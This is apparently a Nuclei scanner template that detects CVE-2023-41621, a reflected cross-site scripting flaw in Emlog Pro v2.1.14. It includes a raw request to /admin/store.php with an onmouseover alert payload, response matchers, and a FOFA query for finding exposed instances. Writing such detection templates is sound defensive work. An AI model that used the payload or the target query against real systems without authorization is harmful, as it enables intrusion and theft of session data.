id: CVE-2023-41621

info:
  name: Emlog Pro v2.1.14 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in Emlog Pro v2.1.14 via /admin/store.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update Emlog Pro to the latest version to mitigate the XSS vulnerability (CVE-2023-41621).
  reference:
    - https://github.com/GhostBalladw/wuhaozhe-s-CVE/blob/main/CVE-2023-41621
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41621
    cwe-id: CWE-79
    epss-score: 0.01146
    epss-percentile: 0.62589
    cpe: cpe:2.3:a:emlog:emlog:2.1.14:*:*:*:pro:*:*:*
  metadata:
    vendor: emlog
    product: emlog
    max-request: 1
    fofa-query: title="emlog"
  tags: cve,cve2023,emlog,xss,vuln

http:
  - raw:
      - |
        GET /admin/store.php?"onmouseover='alert(document.domain)'bad=" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "onmouseover='alert(document.domain)'bad="
          - "emlog"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200d3b33aa0b077c553bea9f684156328d20d8bdd17c12981646789303818614ee022100838bb70ab882c9bd831ac60919aaa1bae86a52535993f7acab5ec4973fee4761:922c64590222798bb761d5b6d8e72950